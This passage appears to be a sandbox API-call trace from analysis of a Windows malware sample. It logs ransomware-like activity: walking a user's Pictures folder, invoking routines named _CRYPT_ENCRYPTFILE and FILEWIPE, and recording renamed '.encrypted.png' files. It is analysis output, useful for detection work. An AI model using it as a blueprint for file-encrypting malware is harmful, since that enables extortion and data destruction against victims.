lpMsg=0xe8f3dfeb20) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.532] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.532] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.532] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.532] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.532] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.532] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.532] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.532] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.534] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.534] CharLowerBuffW (in: lpsz="byte[18863]", cchLength=0xb | out: lpsz="byte[18863]") returned 0xb [0028.534] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.535] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.535] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.535] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.535] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.544] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.544] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.544] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.544] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.545] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.545] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.545] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.545] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.545] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.545] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.546] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.546] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.546] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.546] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9284) returned 1 [0028.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.546] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2444, lpOverlapped=0x0) returned 1 [0028.547] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.547] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.547] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9284) returned 1 [0028.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.encrypted.png\r\n", cchWideChar=90, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 90 [0028.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.encrypted.png\r\n", cchWideChar=90, lpMultiByteStr=0xe8f4062800, cbMultiByte=90, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 90 [0028.547] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x59, lpOverlapped=0x0) returned 1 [0028.547] CloseHandle (hObject=0x1fc) returned 1 [0028.548] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.548] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.548] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.548] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.548] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.548] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.549] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.549] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.550] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.550] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.550] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0028.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif", cchWideChar=82, lpMultiByteStr=0xe8f406a070, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif", lpUsedDefaultChar=0x0) returned 82 [0028.550] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks\\9xwefqxl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0028.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=82, lpWideCharStr=0xe8f416dee0, cchWideChar=82 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif") returned 82 [0028.551] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.551] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.552] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.552] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.552] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.552] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.552] CloseHandle (hObject=0x1fc) returned 1 [0028.552] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.553] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.553] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.553] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.553] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.554] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, 